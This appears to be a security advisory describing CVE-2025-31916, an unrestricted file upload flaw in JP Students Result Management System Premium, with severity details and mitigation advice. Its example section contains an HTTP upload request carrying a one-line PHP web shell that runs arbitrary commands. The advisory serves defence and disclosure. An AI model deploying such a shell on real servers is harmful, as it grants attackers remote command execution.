Overview
CVE-2025-31916 is a severe cybersecurity vulnerability affecting the JP Students Result Management System Premium. This vulnerability allows malicious actors to upload unrestricted files of dangerous types, specifically a web shell, to a web server. Organizations using versions 1.1.7 and later of the JP Students Result Management System Premium are affected by this vulnerability. The potential for system compromise or data leakage makes immediate attention to this vulnerability a critical priority for IT and security teams.
Vulnerability Summary
CVE ID: CVE-2025-31916
Severity: Critical (CVSS: 9.0)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage
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Product | Affected Versions
JP Students Result Management System Premium | 1.1.7 – n/a
How the Exploit Works
The vulnerability resides in the upload functionality of the JP Students Result Management System Premium. It allows for unrestricted file upload of dangerous types. The software does not properly validate or sanitize the uploaded files, making it possible to upload a web shell. A web shell is a script that can be uploaded to a web server to enable remote administration of the machine. Thus, a successful exploit could lead to a full compromise of the system.
Conceptual Example Code
The following is a conceptual example of how the vulnerability might be exploited. This involves a malicious HTTP request sent to the vulnerable endpoint that uploads a web shell.
POST /file_upload HTTP/1.1
Host: target.example.com
Content-Type: application/octet-stream
Content-Disposition: form-data; name="file"; filename="webshell.php"
<?php system($_GET['cmd']); ?>In this example, a web shell is being uploaded that, when executed, will run any command passed to it via the ‘cmd’ GET parameter.
Mitigation Guidance
In light of this critical security issue, it is strongly recommended that users apply the vendor patch as soon as it becomes available. Before the patch can be applied, a recommended temporary mitigation strategy includes using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) to monitor and block suspicious activities. Additionally, regularly updating and patching all systems, as well as enforcing strict file upload restrictions, can help prevent the exploitation of similar vulnerabilities in the future.